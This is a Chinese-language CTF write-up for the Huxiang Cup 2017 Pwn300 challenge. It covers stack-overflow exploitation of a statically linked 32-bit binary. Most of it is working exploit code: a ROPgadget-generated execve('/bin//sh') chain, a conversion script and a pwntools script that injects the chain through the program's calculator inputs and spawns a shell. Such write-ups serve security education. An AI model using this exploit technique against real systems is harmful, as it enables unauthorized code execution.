静态链接程序利用及湖湘杯Pwn300 writeup

Linux栈溢出——静态链接

一般情况下,静态链接的程序很少出现,但是也有一些。这类elf的漏洞利用,主要还是依靠程序本身和用户输入。
利用方式:
(1)程序中含有system函数和/bin/sh字符串,直接构造调用system(‘/bin/sh’)的payload。
(2)寻找程序中的gadget,直接构造出payload。

题目链接

https://github.com/eternalsakura/ctf_pwn/tree/master/湖湘杯2017/pwn300

静态分析

利用

checksec 安全性检查


32位程序,没有ASLR,没有canary,可以说是十分好利用了。

查看是否静态链接

ldd pwn300

确定是静态链接了,那么我们之间在elf文件里找gadget即可

ROPgadget生成rop链

关于ROPgadget:https://github.com/JonathanSalwan/ROPgadget/tree/master
关于ROP:https://www.slideshare.net/hackstuff/rop-40525248
ROPgadget --binary pwn300 --ropchain

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#!/usr/bin/env python2
# execve generated by ROPgadget
from struct import pack
# Padding goes here
p = ''
p += pack('<I', 0x0806ed0a) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080bb406) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x080a1dad) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ed0a) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080bb406) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x080a1dad) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ed0a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08054730) # xor eax, eax ; ret
p += pack('<I', 0x080a1dad) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x0806ed31) # pop ecx ; pop ebx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080ea060) # padding without overwrite ebx
p += pack('<I', 0x0806ed0a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08054730) # xor eax, eax ; ret
p += pack('<I', 0x0807b75f) # inc eax ; ret
p += pack('<I', 0x0807b75f) # inc eax ; ret
p += pack('<I', 0x0807b75f) # inc eax ; ret
p += pack('<I', 0x0807b75f) # inc eax ; ret
p += pack('<I', 0x0807b75f) # inc eax ; ret
p += pack('<I', 0x0807b75f) # inc eax ; ret
p += pack('<I', 0x0807b75f) # inc eax ; ret
p += pack('<I', 0x0807b75f) # inc eax ; ret
p += pack('<I', 0x0807b75f) # inc eax ; ret
p += pack('<I', 0x0807b75f) # inc eax ; ret
p += pack('<I', 0x0807b75f) # inc eax ; ret
p += pack('<I', 0x08049781) # int 0x80

因为我们需要的不是这种形式的,所以写个脚本处理一下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
rop = []
# i = 1
for line in open("data"):
# print line,
if "pack" in line:
# print i
# print str(line).split(", ")[1].split(")")[0]
rop.append(str(line).split(", ")[1].split(")")[0])
else:
# print i
# print line
rop.append(str(line).split("+= ")[1][1:-2])
# i += 1
print rop

[‘0x0806ed0a’, ‘0x080ea060’, ‘0x080bb406’, ‘/bin’, ‘0x080a1dad’, ‘0x0806ed0a’, ‘0x080ea064’, ‘0x080bb406’, ‘//sh’, ‘0x080a1dad’, ‘0x0806ed0a’, ‘0x080ea068’, ‘0x08054730’, ‘0x080a1dad’, ‘0x080481c9’, ‘0x080ea060’, ‘0x0806ed31’, ‘0x080ea068’, ‘0x080ea060’, ‘0x0806ed0a’, ‘0x080ea068’, ‘0x08054730’, ‘0x0807b75f’, ‘0x0807b75f’, ‘0x0807b75f’, ‘0x0807b75f’, ‘0x0807b75f’, ‘0x0807b75f’, ‘0x0807b75f’, ‘0x0807b75f’, ‘0x0807b75f’, ‘0x0807b75f’, ‘0x0807b75f’, ‘0x08049781’]
把两个字符串再处理一下

1
2
3
import binascii
print '0x'+binascii.b2a_hex('nib/')
print '0x'+binascii.b2a_hex('hs//')

得到0x6e69622f,0x68732f2f
替换进去,得到rop=
[‘0x0806ed0a’, ‘0x080ea060’, ‘0x080bb406’, ‘0x6e69622f’, ‘0x080a1dad’, ‘0x0806ed0a’, ‘0x080ea064’, ‘0x080bb406’, ‘0x68732f2f’, ‘0x080a1dad’, ‘0x0806ed0a’, ‘0x080ea068’, ‘0x08054730’, ‘0x080a1dad’, ‘0x080481c9’, ‘0x080ea060’, ‘0x0806ed31’, ‘0x080ea068’, ‘0x080ea060’, ‘0x0806ed0a’, ‘0x080ea068’, ‘0x08054730’, ‘0x0807b75f’, ‘0x0807b75f’, ‘0x0807b75f’, ‘0x0807b75f’, ‘0x0807b75f’, ‘0x0807b75f’, ‘0x0807b75f’, ‘0x0807b75f’, ‘0x0807b75f’, ‘0x0807b75f’, ‘0x0807b75f’, ‘0x08049781’]

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
shellcode_hex=['0x0806ed0a', '0x080ea060', '0x080bb406', '0x6e69622f', '0x080a1dad', '0x0806ed0a', '0x080ea064', '0x080bb406', '0x68732f2f', '0x080a1dad', '0x0806ed0a', '0x080ea068', '0x08054730', '0x080a1dad', '0x080481c9', '0x080ea060', '0x0806ed31', '0x080ea068', '0x080ea060', '0x0806ed0a', '0x080ea068', '0x08054730', '0x0807b75f', '0x0807b75f', '0x0807b75f', '0x0807b75f', '0x0807b75f', '0x0807b75f', '0x0807b75f', '0x0807b75f', '0x0807b75f', '0x0807b75f', '0x0807b75f', '0x08049781']
shellcode=[]
for i in shellcode_hex:
shellcode.append(int(i,16))
payload = []
QJ = 16
for i in range(QJ):
payload.append(i)
for i in shellcode:
payload.append(i)
p = process('pwn300')
# p = remote('118.190.85.135',10080)
tot = QJ+len(shellcode)
p.recvuntil('calculate:')
p.sendline(str(tot+1))
for i in range(QJ):
p.recvuntil('5 Save the result\n')
p.sendline('2')
p.recvuntil('input the integer x:')
p.sendline('0')
p.recvuntil('input the integer y:')
p.sendline('0')
p.recvuntil('\n')
for i in range(QJ,tot):
p.recvuntil('5 Save the result\n')
p.sendline('1')
p.recvuntil('input the integer x:')
p.sendline(str(payload[i]))
p.recvuntil('input the integer y:')
p.sendline('0')
p.recvuntil('\n')
#gdb.attach(p)
p.sendline('5')
p.interactive()